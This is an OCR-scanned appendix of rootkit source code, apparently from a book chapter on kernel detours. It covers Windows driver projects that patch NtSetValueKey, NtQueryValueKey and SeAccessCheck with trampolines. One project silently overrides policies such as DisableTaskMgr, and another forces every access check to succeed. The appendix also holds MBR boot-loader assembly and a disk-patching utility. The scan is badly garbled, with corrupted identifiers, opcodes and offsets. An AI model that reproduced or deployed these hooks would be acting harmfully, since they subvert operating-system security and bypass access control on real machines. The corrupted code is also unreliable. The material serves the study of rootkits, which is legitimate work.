typedef struct ]ATCH_INFD { BYTE* SystemCall; BYTE Signature[SZ_SIG_MAX]; D'nORD SignatureSize; BYTE " PrologDetour; BYTE " EpilogDetour; BYTE PrologPatch[SZ]ATCH_MAX]; BYTE PrologOriginal[SZ]ATCH_MAX]; D'nORD SizePrologPatch; D'nORD Pr ologPatchOffset; BYTE EpilogPatch[SZ_PATCH_MAX]; BYTE EpilogOriginal [SZ]ATCH_MAX] ; D'nORD SizeEpilogPatch; D'nORD EpilogPatchOffset ;
Ilroutine being patched Ilfor sanity check Ilin bytes Iladdress of initial detour Iladdress of final detour
Iljump to initial detour Ilbytes supplanted by prolog patch I lin bytes Ilrelative location of patch Iljump to final detour Ilbytes supplanted by epilog patch I lin bytes Ilrelative location of patch
/* ++++++++++++++++++++++++++11111111111111111111111111111111IIIIIII111111111111
+ + +
ntsetvaluekey. c
+ +
++++++++++++++++++++++111111111111111111111111111111111111111111111111111111'*/
I" prototype to original routine ------------- ------------------ - ------- ---- - -* I NTSYSAPI NTSTATUS NTAPI NtSetValueKey
(
A pen di X p
I 797
Appendix / Chapter 6
/. Function pointer declaration and definition----- ---- ------------------ - ---/ typedef NTSTATUS ('NtSetValueKeyptr) ( IN HANDLE KeyHandle, IN PUNICODE_STRING ValueName, IN ULONG Ti UeIndex OPTIONAL, IN ULONG Type, IN PYOID Data, IN ULONG DataSize ); / / Instance-Dependent Detour Routines- - -- - - - - - - - - - - - - - - - - - - - - - - -- - - - - -- - - - - - - --
/.
replace illlTlediate operands with memory references Makes Detour routine more flexible and fix-ups easier
./
DWORD Fixup_Tramp_NtSetValueKey; DWORD Fixup_Remainder_NtSetValueKey; void displayMsg() { DbgPrint(" [displayMsg) : Prolog Detour has been invoked\n"); }/ 'end displayMsg() - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ' / _declspec (naked) PrololLNtSetValueKey () {
CALL displayMsg
/*
Jump back to remainder of Nt'( ) code NOTE : ' not ' jumping to start of routine, must skip patch Nt ' () + SZ]ATCH_NTSETVALUEKEY
;.'
This fixe s up the detou r function at run time so that it works properly
./
void fixupNtSetValueKey(PATCH_ INFO' pInfo) { Fixup_Tramp_NtSetValueKey = .( (oo..oRD )&( ('pInfo) .PrologOriginal[6)) ; Fixup_Remainder_NtSetValueKey =( (oo..oRD) ( pInfo). SystemCall)+( ' pInfo) . SizePrologPatch; DBG]RINT2( " [fixupNtSetValueKey): PUSH %!l8x", Fixup_Tramp_NtSetValueKey); DBG_PRINT2(" [fixupNtSetValueKey): PUSH %!l8x", Fixup_Remainder_NtSetValueKey); return ;
798
Appendix
Project: TroceDetour
}/* end fi xupNtSetValueKey ( ) - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -* / / /NtSetVal ueKey Return Value IJ..ORD RetValue_ NtSetValueKey; / /NtSetValueKey Parameters IJ..ORD K eyHandle_NtSetValueKey; IJ..ORD ValueName_NtSetValueKey ; IJ..ORD Type_NtSetValueKey ; IJ..ORD Data_NtSetValueKey; IJ..ORD DataSize_NtSetValueKey ; void Filte rParameters O { ansiString ; NTSTATUS ntStatus ; DBG_TRACE ( " FilterParameters ", "Call to set registry value intercepted") ; ntStatus = RtlUnicodeStringToAns iString ( &ansiString, (PUNICOOE_STRING)ValueName_NtSetValueKey, TRUE ); i f(NT _SUCCESS ( ntStatus { DBG]RINT2( " [FilterParameters 1: \ tValue Name=% \ n" , ansiString . Buffer) ; s RtlFreeAnsiString(&ansiString) ; switch(Type_NtSetValueKey) { case(REG_ BlNARY) : {DBG_PRINTl( " \ t \ tType==REG_ BlNARY\n") ; }break; case( REG_IJ..ORD) : {DBG]RINTl( " \ t\ tType==REG_IJ..ORD\ n"); }break; case ( REG_EXPAND_SZ) : {DBG]RINTl( "\t \ tType==REG_ EXPAND_SZ\n"); }break; case(REG_LINK) : {DBG]RINTl( "\t\tType==REG_ LINK\n") ; }break; case(REG_f1JL TI_SZ) : {DBG]RINTl( " \t \ tType==REG_foUL TI_SZ\n") ; }break; case(REG_NONE) : {DBG_PRINTl( "\t\ tType==REG_NONE\n") ; }break; case(REG_RESOURCE_LIST) : {DBG]RINTl( "\t\ tType==REG_RESOURCE_LIST\n") ; }break; case(REG_ RESOURCE_ REQUIREMENTS_LIST) : { DBG]RINTl (" \ t \ tType==REG_RESOURCE_REQUIREMENTS_LIST\n " ); }break; cas e(REGJULL_RESOURCE_DESCRIPTOR) : { DBG]RINTl( " \ t\tType==REGJULL_RESOURCE_DESCRIPTOR\n"); }break; cas e(REG_SZ) : { DBG_ PRINT2( " \ t \ tType==REG_SZ\ tData =%S\n " , (PVOID)Data_NtSetValueKey); }break; };
return ;
}/*end FilterParameter s ( ) - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - */
_declspec ( naked) EpilolLNtSetValueKeyO { //save return value and routine parameters _asm
Appendix 1799
Appendix I C hapter 6
('pInfo) .SignatureSize=6; ('pInfo) . Signature[0] =0x6S; ('pInfo) . Signature[l]=0xS0; ('pInfo) . Signature[2]=0xee; (' pInfo) .Signature[3] =0xee; ('pInfo) . Signature[ 4]=0xee; ('pInfo) .Signature[S] =0x6S; ('pInfo) . PrologDetour = PrololLNtSetValueKey; ('pInfo). EpilogDetour = EpilolLNtSetValueKey; ('pInfo). SizePrologPatch=10; ('pInfo) . PrologPatch[0] =0x6S; ('pInfo) . PrologPatch[l]=0xBE; ('pInfo) . PrologPatch[2]=0xBA; ('pInfo) . PrologPatch[3]=0xFE; ('pInfo) . PrologPatch[ 4] =0xCA; ('pInfo). PrologPatch [5] =0xC3; ('pInfo) . PrologPatch[6]=0x90; (' pInfo) . PrologPatch[7]=0x90; ('pInfo) . PrologPatch[S]=0x90; ('pInfo). PrologPatch [9] =0x90 ; ('pInfo). PrologPatchOffset =0; ('pInfo). SizeEpilogPatch=6; ('pInfo). EpilogPatch[0] =0x6S; ('pInfo). EpilogPatch[l]=0xBE; ('pInfo). EpilogPatch[2] =0xBA; ('pInfo). EpilogPatch[ 3] =0xFE; ('pInfo) . EpilogPatch [ 4] =0xCA; ('pInfo). EpilogPatch [5] =0xC3; ('pInfo). EpilogPatchOffset=S91; return; }/'InitPatchInfo_NtSetValueKey() - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -- - - - - -- - , / / /PUSH il11Tl32 / /PUSH il11Tl32
//RET // NOP
//NOP
//NOP //NOP
/ /RET
BOO I Appendix
Project: GPODetour
Proied: GPODetour
Files: nlqueryvaluekey.c
/* I
+ + +
II I I III I I III I I I I I I I I I I I I I I I I I I I I I III I I I I I I I I I I I I I I I I I I I I I I I I I I I I I I I I I I I I I I I I
ntqueryvaluekey. c
+ + +
I I I I I III I I I I I I I I I I I I I I I I I I I I I I I I I I I I I I I I I I I I I I I I I I I I I I I I I I I I I I I I I I I I I I I I I I I 11*/
IN HANDLE KeyHandle, IN PUNICDDE_STRING ValueName, IN KEY VALUE INFORMATION CLASS KeyValueInformationClass, OUT PVOID KeyValueInformation, IN ULONG Length, OUT PULONG Resul tLength
);
IN HANDLE KeyHandle, IN PUNICDDE_STRING ValueName, IN KEY_VALUE_INFORMATION_CLASS KeyValueInformationClass, OUT PVOID KeyValueInformation, IN ULONG Length, OUT PULONG Resul tLength
);
/*
replace ilTlllediate operands with memory references Makes Detour routine more flexible and fix-ups easier
*/
DI\ORD Fixup_Tramp_NtQueryValueKey; DI\ORD Fixup_Remainder_NtQueryValueKey; void displayMsg() { / /DbgPrint(" [displayMsg] : Prolog Detour has been invoked\n"); }/*end displayMsg() - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -- - - - -- - - - -- - - - - - -- - - -* / _declspec (naked) PrololLNtQueryValueKey() {
CALL displayMsg
Appendix
I 801
Appendix / Chapter 6
/'
Jump back to remainder of Nt' () code NOTE: 'not ' jumping to start of routine, must skip patch Nt' () + SZ]ATCH_NTSETVALUEKEY
returnj
}/'end fixupNtSetValueKey{) - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -, / / /NtSetValueKey Return Value DWORO RetValue_NtQueryValueKey; DWORO DWORO DWORO DWORO DWORO DWORO KeyHandle_NtQueryValueKey; ValueName_NtQueryValueKey; KeyValueInformationClass_NtQueryValueKey; KeyValueInformation_NtQueryValueKey; Length_NtQueryValueKey; ResultLength_NtQueryValueKey ; / / [esp+04] / / [esp-te8] //[esp+12] / /[esp+16] //[esp+2e] / / [esp+24] IN HANOLE IN PUNICOOE_STRING IN KEY_VALUE_INFORMATION_CLASS OUT PVOID IN ULONG OUT PULONG
void OisableRegDWOROPolicy{char ' valueName) { switch (KeyValue Informat ionCla 55_NtQueryVa lueKey) { case{KeyValueBasicInformation) : { OBG_ TRACE ("FilterParameters", "KeyValueBasicInformation"); }break; case{KeyValueFullInformation) : { OBG_ TRACE { "FilterParameters] ", "KeyValueFullInformation "); }break; case (KeyValuePartialInformation) : { PKEY_ VALUE]ARTIAL_INFORMATION pInfo; DWORO' dwptr; OBG_TRACE{ "FilterParameters", "KeyValuePartialInformation"); pInfo = (PKEY_ VALUE]ARTIAL_INFORMATION) KeyValueInformation_NtQueryValueKey; dwptr = &( ' pInfo) .Oata; OBG_ PRINT3 (" [Fil terParameters] : \ t % s=%e8x\n" , valueName, ' dwptr) ; //disable the setting while the driver is running ' dwPtr = exe; }break;
return;
}/'end OisableNoChangingWallPaper{) - - - - - - - - - - - - - - - - - - -- - - - - - - - - - - - - - - - - - - - - - - ' /
802
Appendix
Project: GPODelour
char NoChangingWallPaper[MAX_SZ_VALUNAME] = "NoChangingWallPaper"; char DisableTaskMgr[MAX_SZ_VALUNAME] "DisableTaskMgr"; char NoControlPanel[MAX_SZ_VALUNAME] = "NoControlPanel "; ntStatus = RtlUnicodeStringToAnsiString &ansiString, (PUNICOOE_STRING)ValueName_NtQueryValueKey, TRUE ); if(NT_SUCCESS(ntStatus) ) { I IDBG]RINT2(" [Fil terParameters] : \tValue Name=%s\n", ansiString. Buffer); i f( strcmp (NoChangingWallPaper ,ansiString. Buffer )==0) { DBG]RINT2 ( " [F il terParameters] : \ tValue Name=%s \n" ,ansiString . Buffer) ; DisableRegDl..oRDPolicy(NoChangingWallPaper) ; } else i f(strcmp(DisableTaskMgr, ansiString . Buffer )==0) { DBG]RINT2 (" [F il terParameters] : \ tValue Name=%s \n" ,ansiString. Buffer) ; DisableRegDl..oRDPolicy(DisableTaskMgr) ; } else i f( strcmp (NoControlPanel, ansiString. Buffer) ==0) { DBG_PRINT2 ( " [F ilterParameters] : \ tValue Name=%s \n" ,ansiString. Buffer) ; DisableRegDl..oRDPolicy(NoControlPanel) ; } Ii don't forget to free the allocated memory RtlFreeAnsiString(&ansiString) ;
fo'IJV RetValue_NtQueryValueKey, EAX fo'IJV EAX, [ESP+4] fo'IJV KeyHandle_NtQueryValueKey, EAX fo'IJV EAX, [ESP+8] fo'IJV ValueName_NtQueryValueKey, EAX
fo'IJV EAX, [ESP+12] fo'IJV KeyValuelnformationClass_NtQueryValueKey, EAX
I ITrampoline - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -_asm
fo'IJV EAX, RetValue_NtQueryValueKey
Appendix 1803
Appendix / Chapter 6
RET 0x18
NOP NOP
}
}/ "end DetourNtSetValueKey()- --- - --- -- - --- - ----- - ----------------------------"/ void InitPatchInfo_NtQueryValueKey(PATCH_INFO" pInfo) { ( "pInfo ) . SignatureSize=3; (" pInfo).Si gnature[0)=0x6a ; (" pInfo) . Signature[l) =0x70; (" pInfo) .Signature[2)=0x68; ("pInfo) . PrologDetour = Prolo/LNtQueryValueKey; ("pInfo ). EpilogDetour = Epilo/LNtQueryValueKey; ("pInfo). SizePrologPatch=7; ("pInfo) . PrologPatch[0) =0x68; ( "pInfo) . PrologPatch[l) =0xBE ; ("pInfo) . PrologPatch[2)=0xBA; ( "pInfo) . PrologPatch [3) =0xFE; ( "pInfo) . PrologPatch [ 4) =0xCA; (" pInfo ) . PrologPatch[S)=0xC3; ( "pInfo) . PrologPatch[6)=0x90; ( "pInfo) .PrologPatchOffset =0; (" pInfo) . SizeEpilogPatch=6; ("pInfo) . EpilogPatch[0) =0x68; ("pInfo). EpilogPatch[l)=0xBE ; ("pInfo) . EpilogPatch[2)=0xBA; ("pInfo) . EpilogPatch[3) =0xFE ; ("pInfo) . EpilogPatch [ 4) =0xCA; ("pInfo) . EpilogPatch[5) =0xC3 ; / /PUSH inrn32 / / PUSH inrn32
//RET
//NOP
/ /RET
( "pInfo) . EpilogPatchOffset=841; / /81c4c: da4 - 81c4c: a5b = 0x349 = 841 return ; }/" InitPatchInfo_NtSetValueKey() - - - - - - - - - - - - - - - - - - - - - - - - - - - - -- - - - - - - - - - - - - - - - " /
Proied: AccessDetour
Files: kmd.c, seaccesscheck.c
/*++++++++++++++1 I III I I I III I I I I I I I II III I I I I I I I I I I I I I I I I I I I I I I I I I I 11'11 I 111'1 I II
kmd .c
+ + +
++-++++++1' IIIII11111111111111111111111111111111111111111111111111111111111111 * /
/ /syst em includes - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - #include .. ntddk. h" / / local includes- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -#include "dbgmsg . h" #include "datatype.h" #include "patch. h" #include "modwp . c"
8041 Appendix
Project: AccessDelour
#include "irql.c" #include "seaccesscheck. c" , /Globals - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -PATCH_INFO patchInfo; / / Universal Detour Routines- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -NTSTATUS VerifySignature(BYTE *fptr , BYTE* signature, [)I..ORO sigSize) { [)I..ORO i ; OBG_TRACE( "VerifySignature", " [Mem, Sig) ") ; for(i=0; i <sigSize; i++) { if(fptr[i)!=signature[i) { OBG]RINT2 (" [VerifySignature): byte [Xu]"' , i), OBG]RINT3( " [VerifySignature) : [ %e2x, %e2x)",fptr[iJ,signature[i)); return(STATUS_UNSUCCESSFUL ) ;
} return(STATUS_SUCCESS) ; }/*end Veri fySignatureNtSetValueKey() - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -*'
/*
Get the bytes that will be displaced by the detour jump void GetExistingBytes
(
*'
'/address of the system call ,/bytes that will be displaced / /size of displaced bytes ,/relative location of displaced bytes
/*
This is here for debugging void PrintBytes(BYTE* bytes, [)I..ORO length)
{
*'
" address of the detour routine /lPUSH offset; RET [nop)[nop) ...
Appendix 1805
Appendix / Chapter 6
// address of the system call //PUSH offset; RET [nop][nop) .. . / /s ize of displaced bytes / / relative location of displaced bytes
DWORD i; for(i=e;i<patchSize;i++){ oldRoutine[i+Offset) = patchCode[i); } return; }/'end InsertDetour() - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -- - - - - -- - - - - - - - - - - - -*/ / / DRIVER_OBJECT functions- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -- - - - - -- - - - -- - - - - - -- -void Unload(IN PDRIVER_OBJECT pDriverObject) { KIRQL irql; PKDPC dpcPtr ; DBG_TRACE("Unload, "Received signal to unload the driver"); DBG_TRACE( "Unload", "Restore original system call"); disableWP_CReo ; irql = RaiseIRQLO; dpcptr = Acquire LockO; InsertDetour
(
InsertDetour
(
./
NTSTATUS DriverEntry
(
IN PDRIVER_OBJECT pDriverObject, IN PUNICOOE_STRING regPath NTSTATUS ntStatus ; KIRQL irql; PK DPC dpcptr ; DBG_TRACE( "DriverEntry", E stablishing other DriverObject function pOinters");
806
Appendix
Project: A((essDelour
II can reference directly (not registered in SSDT as Nt*O/Zw*O routine) patchInfo. SystemCall = (BYTE' )SeAccessCheck; Ini tPatchInfo_SeAccessCheck (&patchInfo) ;
ntStatus = VerifySignature
(
i f(ntStatus! =STATUS_SUCCESS)
{
DBG_TRACE( "DriverEntry", "Failed VerifySignatureO "); return (ntStatus) ; DBG]RINT2(" [DriverEntry] : SystemCall=%e8x\n", patch Info . SystemCall); DBG]RINT2(" [DriverEntry] : PrologDetour=%e8x\n", patchInfo. PrologDetour); DBG]RINT2 ( " [Dri verEntry] : EpilogDetour=%e8x\n", patchInfo. EpilogDetour) ; GetExistingBytes
(
DBG_TRACE( "DriverEntry" , "Prolog Bytes that will be displaced"); Print Bytes (patchInfo. PrologDriginal, patchInfo . SizePrologPatch) ; GetExistingBytes
(
DBG_TRACE( "DriverEntry", "Epilog Bytes that will be displaced"); PrintBytes (patchInfo . EpilogDriginal, patchInfo. SizeEpilogPatch) ; InitPatchCode
(
DBG_TRACE ("DriverEntry", "Prolog Patch Bytes"); PrintBytes (patchInfo . PrologPatch, patchInfo .SizePrologPatch); InitPatchCode
(
DBG_TRACE ("DriverEntry ", "Epilog Patch Bytes"); PrintBytes (patchInfo. EpilogPatch, patchInfo. SizeEpilogPatch) ;
Iidon't forget to turn off write protection (prevent exBE bug check)!!
disableWP_CReo; DBG_TRACE( "DriverEntry" , "Installing detour patch"); irql = RaiseIRQLO ; dpcPtr = AcquireLockO;
Appendix 1807
Appendix / Chapter 6
fi xupSeAccessCheck(&patchInfo) ; InsertDetour ( patch Info . SystemCall, patch Info . PrologPatch, patchInfo.SizePrologPatch, patchInfo . PrologPatchDffset ); InsertDetour
(
+ + +
SeAccessCheck . c
+ + +
11111111111111111111111111111111111111111+++++++++++++++++++++11111111111111' * /
IN PSECURITY_DESCRIPTOR Sec uri tyDescriptor, IN PSECURITY_SUBJECT_CONTEXT SubjectSecuri tyContext , IN BOOLEAN SubjectContextLocked, IN ACCESS_MASK DesiredAccess , IN ACCESS_MASK PreviouslyGrantedAccess , OUT PPRIVILEGE_SET *Privileges OPTIONAL, IN PGENERIC_MAPPING GenericMapping, IN KPRDCESSDR_MOOE AccessMode, OUT PACCESS_MASK GrantedAccess , OUT PNTSTATUS AccessStatus
);
/*
replace immediate operands with memory references Makes Detour routine more fle xible and fix - ups easier
*/
oo,..oRD Fixup_Remainder _SeAccessCheck; void displayMsg() -{ DbgPrint(" [displayMsg] : Prolog Detour has been invoked\n"); }/*end displayMsg() - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - */ _declspec(naked ) ProloILSeAccessCheck() {
/ / CALL di splayMsg
/ / Trampoline - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - _asm
808
Appendix
Project: AccessDelour
/*
Jump back to remainder of Nt*() code NOTE: * not* jumping to start of routine, must skip patch Nt *O + SZ]ATCH_NTSETVALUEKEY
}
}/*end DetourNtSetValueKey()------------------------------------------- ------* /
/*
This fixes up the detour function at run time so that it works properly
*/
void fixupSeAccessCheck(PATCH_INFO* pInfo)
{
Fixup_Remainder_SeAccessCheck = DIo.ORD) (*pInfo) .SystemCall)+(*pInfo) .SizePrologPatch; DBG]RINT2(" [fixupSeAccessCheckj: PUSH inrn32 = PUSH %e8x", Fixup_Remainder_SeAccessCheck);
return;
}/ * end fixupNtSetValueKey() - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - --- - - ---- - - - -* / / / SeAccessCheck Return Value DIo.ORD RetValue_SeAccessCheck; / /SeAccessCheck Parameters DIo.ORD SecurityDescriptor_SeAccessCheck; / / [esp+4j- IN PSECURITY_DESCRIPTOR DIo.ORD SubjectSecuri tyContext_SeAccessCheck; / / [esp+8j - IN PSECURITY_SUBJECT_CONTEXT DIo.ORD SubjectContextlocked_SeAccessCheck; II [esp+12j- IN BOOLEAN DIo.ORD DesiredAccess_SeAccessCheck; / /[esp+16j- IN ACCESS_MASK DIo.ORD PreviouslyGrantedAccess_SeAccessCheck; / /[esp+2Bj- IN ACCESS_MASK DIo.ORD Privileges_SeAccessCheck; / / [esp+24j - OUT PPRIVILEGE_SET* OPTIONAL DIo.ORD GenericMappinlLSeAccessCheck; / / [esp+28j- IN PGENERIC_MAPPING DIo.ORD AccessMode_SeAccessCheck; / / [esp+32j- IN KPROCESSOR_IU>E DIo.ORD GrantedAccess_SeAccessCheck; / /[esp+36j- OUT PACCESS_MASK DIo.ORD AccessStatus_SeAccessCheck; / / [esp+4ej- OUT PNTSTATUS void FilterParametersO
{
PACCESS_MASK GrantedAccess; PNTSTATUS AccessStatus; / /DbgPrint(" [FilterParametersj: Epilog Detour has been invoked\n"); GrantedAccess = (PACCESS_MASK)GrantedAccess_SeAccessCheck; *GrantedAccess = DesiredAccess_SeAccessCheck ; AccessStatus = (PNTSTATUS)AccessStatus_SeAccessCheck; *AccessStatus = STATUS_SUCCESS; RetValue_SeAccessCheck = 1;
return;
}/*end Fil terParameters() - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -- - - - - - -- - - - -- - - - - - --* / _declspec(naked) EpiloILSeAccessCheck()
Appen di X
I 809
Appendix / Chapter 6
Iladded here
fI(JI/ fI(JI/ fI(JI/ fI(JI/
CALL FilterParameters
I ITrampoline- - - - - - - - - - - - - - - - - - - - - - - - -- - - - - -- - - - - - - - - - - - - - - - - - - - - - - - - - - - - --_asm
fI(JI/
}/'end DetourNtSetValueKey() - - - - - - - - - - - - - - - - - - - - - - - - - - -- - - - - -- - - - -- - - - - - - - - - -, I
void InitPatchInfo_SeAccessCheck(PATCH_INFO' pInfo) { ( ' pInfo) . SignatureSize=S; ('pInfo) .Signature[0]=0x8b; ('pInfo) .Signature[l]=0xff; ('pInfo) . Signature[ 2]=0xSS; ('pInfo). Signature[3]=0x8b; ('pInfo) . Signature [ 4] =0xec; ('pInfo). PrologDetour = PrololLSeAccessCheck; ('pInfo). EpilogDetour = EpilolLSeAccessCheck; ('pInfo) . SizePrologPatch=8; ('pInfo) . PrologPatch[0]=0x68; ('pInfo) . PrologPatch [1] =0xBE; ( ' pInfo) .PrologPatch[2]=0xBA; ('pInfo) .PrologPatch[3]=0xFE; ('pInfo). PrologPatch[ 4]=0xCA; ('pInfo). PrologPatch[5]=0xC3; ('pInfo). PrologPatch[6]=0x90; ('pInfo). PrologPatch[7]=0x90; ('pInfO) . PrologPatchOffset=0; ('pInfo) . SizeEpilogPatch=6; ('pInfo). EpilogPatch[0]=0x68; ('pInfo). EpilogPatch[l]=0xBE; ('pInfo). EpilogPatch[2]=0xBA; ('pInfo) . EpilogPatch [3] =0xFE; ('pInfo). EpilogPatch[ 4]=0xCA; ('pInfo). EpilogPatch [5] =0xC3; IIPUSH imm32
II PUSH imm32
IIRET
llOOf' llOOf'
II RET
('pInfo). EpilogPatchOffset=489; I 181888[ d02] - 81888[ eeb] = lE9 (489) return; }/'InitPatchInfo_NtSetValueKey() - - - - - - - - - - - - - - - - - - - - -- - - - - - - - - - --- - - - - -- - - - - -, I
81 I Appendix 0
ooeeeeee
Appendi x 1811
Appendix / Chapter 6
eeeeeege eeeeee93 eeeeee96 eeeeee99 eeeeee9B eooeee9D eeeeee9F eeooeeA2 eeeeeeA6 ooeeeeAA ooooeeAE ooeeeeBe ooooeeB2 eeeeeeB3 eeeeeeB5 eooeeeBs ooeeeeBA ooeooeBB ooeooeBD ooeeeeC3 eeeeOOC5 ooeooecs ooeeeeCB eeeooeCF eeeeeeD1 eooeeeD3 ooeooeD6 ooeeOODs ooeeeeDA eooeeeoo eooeeeDF eeeeeeE1 ooeeeeE4 eooeeeE7 ooeooeE9 ooeeeeEC ooeeeeEE eeeooeF5 ooeeeeF7 eeeeeeFB ooeeeeFD eooeele3 eooeele9 eeeOOleF ooeOOl11 eooeel13 eooee1l5 ooeeellB ooeee121 eooee123 eeeOO126 eeeOO127 - eooee129 eooeel2A eooee12C -eooee131 eooee133 eooee136 eooee13S eooee13B eooee13D eeeOOl40 eooee142 eooee145 eooee147
SA76e1 SA4Ee2 SA6Ee3 COB 6661 731E FE4Ell eFS5eCOO Se7EOOSe eF84SAee B2se EBS2 55 32E4 SA5600 COB 5D EB9C S13EFE7D55AA 756E FF7600 ESSAOO eFS515ee BeOl E664 ES7FOO BeDF E66e ES7SOO BeFF E664 ES7100 BSeeBB COlA 6623Ce 753B 66S1FB54435e41 7532 SlFge2el 722C 666Se7BBeeee 666Seee2eeee 666seseooeee 6653 6653 6655 666sooeooeee 666SOO7ceeee 6661 6S00ee e7 COlA SA 32F6 EAOO7Ceeee C01S AeB7e7 EBes AeB6e7 EBe3 AeB5e7 32E4 e5ooe7 SBFe AC
mov dh, [bp+0x1) mov c1, [bp+0x2) mov ch, [bp+0x3) int ex13 popad jnc exbd dec byte [bp+0xll) jnz word exb2 cmp byte [bp+exe L exse j z word ex13S mov d1,exSe jmp short ex34 push bp xor ah,ah mov dl, [bp+0xe) int ex13 pop bp jmp short ex59 cmp word [ex7dfe),exaa55 jnz ex133 push word [bp+0xe) call word ex155 j nz word exe4 mov al,exd1 out ex64,al call word ex155 mov al,exdf out ex6e,al call word ex155 mov al,exff out ex64,al call word ex155 mov ax, exbbOO int exla
and eax,eax
jnz ex129 cmp ebx, ex415e4354 jnz ex129 cmp cx, exle2 jc ex129 push dword exbbe7 push dword ex200 push dword exs push ebx push ebx push ebp push dword exe push dword ex7cOO popad push word exe pop es int exla pop dx xor dh,dh jmp word exe:ex7cOO int exlS mov aI, [ex7b7) jmp short ex14e mov aI, [ex7b6) jmp short exl40 mov aI, [ex7b5) xor ah,ah add ax, ex700
mav si,ax
Iodsb
812
Appendix
Project: loodMBR
e0000148 e000014A e000014C e000014F e0000151 e0000153 e0000155 e0000157 e0000159 e000015B e000015D e000015F e0000161
3COO 74FC BB8700 B48E C018 EBF2 2BC9 E464 EBOO 2482 E8FB 2482 C3
cmp al,8x8 jz 8xl48 mov bX,8x7 mov ah,8xe int 8x18 jmp short 8x147 sub cx, cx in al,8x64 jmp short 8x15b and al,8x2 loopne 8x157 and al,8x2 ret
Proied: LoadMBR
Files: loadmbr.asm, pad.c
+- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -- - - - - - - - - - - --+
I I
: loadMBR . asm
I I
:
I I
+- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - --+
CSEG SEG'1ENT BYTE PUBLIC 'COOE' ; This label defines the starting point (see END statement)--------- -- --------_Entry: JMP _overData _message DB 'Press any key to boot from an MBR', SOH, 8AH, END_STR _e ndMsg DB 'This is an infinite loop', 8OH, 8AH, END_STR ; Set up segment s and stack---------------------------------------------------_overData : rov AX,CS rov DS , AX rov SS,AX rov SP, 7COOH mov CX bytes from OS : [51] to ES : [01] move 512 bytes (MBR code) from 0000 : 7COO to 0000 :8600 Thus, all offsets below are relative to 8xOO600 This makes room for the partition boot sector rov ES,AX rov DS , AX rov 51 , 7COOH rov DI , 8600H rov CX,8200H CLD increment 51 and 01 REP roVSB ; jump to relocated MBR code at CS:IP (0000:8668) ; skip first few bytes to begin at the following STI instruction PUSH AX rov BX, 8668H PUSH BX RETF
Appendix 1813
Appendix / Chapter 6
; _message
; Read characte r to pause _ PauseProgram : I'CN AH,8H INT 16H ; Load MBR into memory- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -/l()V AL,81H # of sectors to read /l()V CH,eeH cylinder/track number start sector I'CN CL,81H I'CN DH, eeH head/side number I'CN DL,8eH drive C: = 8aH I'CN BX,7CeeH offset in RAM I'CN AH, 82H
INT 13H
; Execute MBR boot code-------------------------------- - ----------------------I'CN BX, eeeeH PUSH BX II()V BX, 7CeeH PUSH BX RETF
I'CN BX,8626H CALL ]rintMsg
; _endMsg
NOP
JMP _Infi niteLoop ; INT leH, AH=8EH, AL=char (BIOS teletype) _PrintMsg : yrintMsgLoop : II()V AH,8EH II()V AL , BYTE PTR [BX] CMP AL , END_STR JZ _endPrintMsg INT leH INC BX JMP yrintMsgLoop _ endPri ntMsg :
RET
CSEG ENDS END _entry
/ * 11 IIII I IIII I I I I I I I I I I I I IIIIII1111111 IIIIII1 I I I I I I I I I I I I I I I I I I I I I I I I I I IIII I I II
+
+ -+
+
pad . c
+ +
+++++++++++++++++++++++++1111111111111111111111111111111111111111111111111111*/
1*
This program takes a Bochs 1.44Mb diskette image (MyFD.bin) and patches it with a customized bootsector bi nary to create bootFD . img
'/
#include "stdio . h" #include "stdlib . h" #include <fcntl.h > voi d main(int argc , char' argYl])
8141 Appendix
Project: LoadMBR
FILE' origFileptr; FILE ' srcFileptr; FILE' destFileptr; int origValue; int srcValue; int nBytes; if(argc!=2) { printf( "Not enough arguments\n");
return;
_set_fmodeCO_BlNARY) ; origFileptr = fopen("MyFD.bin", "r"); srcFileptr = fopen(argv[lJ, "r"); destFileptr = fopen( "bootFD. img", ''w'');
return;
} i f( srcFileptr==NULL) { printf(""Could not open source binary"); return; } if (destFilePtr==NULL) { printf( "Could not open destination binary"); return;
printfCMyFD. bin is open for reading\n"); printf("%s is open for reading\n",argv[l]); printfCbootFD.img is open for writing\n"); origValue = fgetc(origFileptr); srcValue = fgetc(srcFileptr) ; nBytes = 1; while( origValue! =EOF) { if(srcValue !=EOF) { fputc (srcValue, destFileptr) ; origValue = fgetc (origF ileptr) ; srcValue = fgetc(srcFileptr); if(srcValue==EOF)
{
printf("%u bytes read from source file\n",nBytes); nBytes++; else { fputc( origValue, destFileptr); origValue = fgetc(origFileptr); if( !feof(origFileptr{ nBytes++;
Appendix 1815
